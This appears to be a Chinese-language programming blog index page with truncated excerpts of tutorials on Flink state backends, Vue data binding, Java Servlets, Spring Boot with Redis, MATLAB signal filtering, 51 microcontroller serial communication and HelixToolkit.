文章目錄 前言一、MemoryStateBackend二、FSStateBackend三、RocksDBStateBackend四、StateBackend配置方式五、狀態持久化六、狀態重分布OperatorState 重分布KeyedState 重分布 七、狀態過期 前言 Flink是一個流處理框架&#xff0c;它需要對數據流進行狀態管理以支持復雜的…
閱讀更多...
10個技巧，3分鐘教會你高效尋找開源項目

10個技巧，3分鐘教會你高效尋找開源項目

作為程序員&#xff0c;不論是開發還是學習&#xff0c;肯定會用到開源項目&#xff0c;那么怎么快速在開源網站找到這些項目呢&#xff1f; 常用的開源網站有&#xff1a;github 和 gitee github是全球最大的開源社區&#xff0c;今天就以github為例&#xff0c;演示一下 gi…
閱讀更多...
【vue】vue中數據雙向綁定原理/響應式原理，mvvm，mvc、mvp分別是什么

【vue】vue中數據雙向綁定原理/響應式原理，mvvm，mvc、mvp分別是什么

關于 vue 的原理主要有兩個重要內容&#xff0c;分別是 mvvm 數據雙向綁定原理&#xff0c;和 響應式原理 MVC&#xff08;Model-View-Controller&#xff09;&#xff1a; Model&#xff08;模型&#xff09;&#xff1a;表示應用程序的數據和業務邏輯。View&#xff08;視圖&…
閱讀更多...
edge 安裝筆記

edge 安裝筆記

依賴項&#xff1a; jukebox 下載代碼GitHub - rodrigo-castellon/jukebox 拷貝到根目錄即可&#xff0c;文件夾留一個根目錄jukebox vqvae_cache_path cache_dir "/vqvae.pth.tar" prior_cache_path cache_dir "/prior_level_2.pth.tar"
閱讀更多...
JavaWeb之 Servlet（2萬6千字詳解）

JavaWeb之 Servlet（2萬6千字詳解）

目錄 前言1. Servlet 簡介2. Servlet 前世今生3. Servlet 執行流程4. Servlet 快速入門5. 兩種配置 Servlet程序 URL的方式5.1 使用 注解來配置 Servlet程序 的 URL5.1.1 urlPattern 的配置規則精確匹配目錄匹配&#xff1a;使用 * 符號代表任意路徑擴展名匹配任意匹配 5.1.2 小…
閱讀更多...
【MATLAB】語音信號識別與處理：SG濾波算法去噪及譜相減算法呈現頻譜

【MATLAB】語音信號識別與處理：SG濾波算法去噪及譜相減算法呈現頻譜

1 基本定義 SG 濾波算法&#xff08;Savitzky - Golay 濾波算法&#xff09;是一種數字信號處理算法&#xff0c;用于對信號進行平滑處理。該算法利用最小二乘法擬合局部數據段&#xff0c;然后用擬合的函數來估計每個數據點的值&#xff0c;從而實現平滑處理。 SG 濾波算法的…
閱讀更多...
redis05 sprngboot整合redis

redis05 sprngboot整合redis

redis的Java客戶端 整合步驟 添加redis的pom依賴 <!-- 引入redis依賴 --> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId> </dependency><!-- 引入redis連…
閱讀更多...
51單片機學習day02

51單片機學習day02

基于普中的stc89c52&#xff0c; 串口&#xff1a; 通訊接口&#xff0c;51單片機自帶UART&#xff08;通用異步收發器&#xff09;&#xff0c;可實現窗口通訊。 硬件電路&#xff1a; 簡單雙向串口通信有兩根通信線&#xff08;發送端TXD和接收端RXD&#xff09;&#xff0…
閱讀更多...
HelixToolKit的模型旋轉操作

HelixToolKit的模型旋轉操作

前面加載了模型以后&#xff0c;鼠標拖動和縮放比較好操作&#xff1b;但是旋轉似乎沒有&#xff0c; 操作了一陣&#xff0c;也不是沒有&#xff0c;應該是還不熟悉&#xff1b; 旋轉的指示器在右下角&#xff0c;現在U面看到正面&#xff0c; 想看一下模型的背面&#xff0…
閱讀更多...
最新文章

Copyright @ 2022~2023